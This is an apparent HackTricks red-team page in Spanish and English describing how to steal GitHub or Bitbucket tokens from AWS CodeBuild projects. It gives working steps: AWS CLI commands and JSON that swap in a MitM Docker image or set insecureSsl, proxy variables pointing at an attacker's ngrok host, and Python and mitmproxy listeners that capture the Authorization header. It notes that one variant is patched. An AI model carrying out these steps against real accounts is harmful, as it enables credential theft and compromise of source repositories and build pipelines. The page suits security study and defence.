AWS Codebuild - Token Leakage

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Recuperar Tokens configurados de Github/Bitbucket

Primero, comprueba si hay credenciales de origen configuradas que puedas leak:

aws codebuild list-source-credentials

Via Docker Image

Si descubres que la autenticación, por ejemplo con Github, está configurada en la cuenta, puedes exfiltrate ese access (GH token or OAuth token) haciendo que Codebuild use an specific docker image para ejecutar el build del proyecto.

Para ello puedes crear un nuevo proyecto de Codebuild o cambiar el environment de uno existente para establecer el Docker image.

The Docker image you could use is https://github.com/carlospolop/docker-mitm. Esta es una imagen Docker muy básica que establecerá las env variables https_proxy, http_proxy y SSL_CERT_FILE. Esto te permitirá interceptar la mayor parte del tráfico del host indicado en https_proxy y http_proxy y confiar en el SSL CERT indicado en SSL_CERT_FILE.

  1. Create & Upload your own Docker MitM image
  • Sigue las instrucciones del repo para configurar la IP de tu proxy y tu certificado SSL y build the docker image.
  • DO NOT SET http_proxy para no interceptar las peticiones al endpoint de metadata.
  • Puedes usar ngrok como ngrok tcp 4444 para setear el proxy a tu host
  • Una vez tengas la Docker image construida, upload it to a public repo (Dockerhub, ECR…)
  1. Set the environment
  • Crea un nuevo Codebuild project o modifica el environment de uno existente.
  • Configura el proyecto para usar la previously generated Docker image
  1. Set the MitM proxy in your host
  • Como indica el Github repo podrías usar algo como:
mitmproxy --listen-port 4444  --allow-hosts "github.com"

Tip

La versión de mitmproxy usada fue 9.0.1, se informó que con la versión 10 esto podría no funcionar.

  1. Ejecuta el build & captura las credenciales
  • Puedes ver el token en la Authorization header:

Esto también se puede hacer desde el aws cli con algo como

# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

A través de insecureSSL

Los proyectos de Codebuild tienen una opción llamada insecureSsl que está oculta en la web y solo se puede cambiar desde la API.
Al habilitar esto, permite que Codebuild se conecte al repositorio sin comprobar el certificado ofrecido por la plataforma.

  • Primero necesitas enumerar la configuración actual con algo como:
aws codebuild batch-get-projects --name <proj-name>
  • Luego, con la información recopilada puedes actualizar la configuración del proyecto insecureSsl a True. El siguiente es un ejemplo de mi actualización de un proyecto; observa insecureSsl=True al final (esto es lo único que necesitas cambiar de la configuración recopilada).
  • Además, agrega también las variables de entorno http_proxy y https_proxy apuntando a tu tcp ngrok así:
aws codebuild update-project --name <proj-name> \
--source '{
"type": "GITHUB",
"location": "https://github.com/carlospolop/404checker",
"gitCloneDepth": 1,
"gitSubmodulesConfig": {
"fetchSubmodules": false
},
"buildspec": "version: 0.2\n\nphases:\n  build:\n    commands:\n       - echo \"sad\"\n",
"auth": {
"type": "CODECONNECTIONS",
"resource": "arn:aws:codeconnections:eu-west-1:947247140022:connection/46cf78ac-7f60-4d7d-bf86-5011cfd3f4be"
},
"reportBuildStatus": false,
"insecureSsl": true
}' \
--environment '{
"type": "LINUX_CONTAINER",
"image": "aws/codebuild/standard:5.0",
"computeType": "BUILD_GENERAL1_SMALL",
"environmentVariables": [
{
"name": "http_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
},
{
"name": "https_proxy",
"value": "http://2.tcp.eu.ngrok.io:15027"
}
]
}'
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • Finalmente, haz clic en Build the project, las credentials serán enviadas en texto claro (base64) al puerto mitm:

Vía protocolo HTTP

[!TIP] > Esta vulnerabilidad fue corregida por AWS en algún momento la semana del 20 de febrero de 2023 (creo que el viernes). Así que un atacante ya no puede abusar de ella :)

Un atacante con permisos elevados sobre un CodeBuild podría leak el token de Github/Bitbucket configurado o, si los permisos fueron configurados vía OAuth, el token OAuth temporal usado para acceder al código.

  • Un atacante podría agregar las variables de entorno http_proxy y https_proxy al proyecto CodeBuild apuntando a su máquina (por ejemplo http://5.tcp.eu.ngrok.io:14972).
  • Luego, cambia la URL del repo de github para usar HTTP en vez de HTTPS, por ejemplo: http://github.com/carlospolop-forks/TestActions
  • Luego, ejecuta el ejemplo básico de https://github.com/synchronizing/mitm en el puerto indicado por las variables proxy (http_proxy y https_proxy)
from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="0.0.0.0",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • A continuación, haga clic en Build the project o inicie la build desde la línea de comandos:
aws codebuild start-build --project-name <proj-name>
  • Finalmente, las credentials serán enviadas en texto plano (base64) al mitm port:

Warning

Ahora un atacante podrá usar el token desde su máquina, listar todos los privilegios que tiene y (ab)usar más fácilmente que al usar el servicio CodeBuild directamente.

Ejecución de PR no confiable vía mala configuración del filtro del webhook

Para la cadena de bypass del webhook desencadenada por PR (ACTOR_ACCOUNT_ID regex + untrusted PR execution), consulta:

AWS CodeBuild - Untrusted PR Webhook Bypass (CodeBreach-style)

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks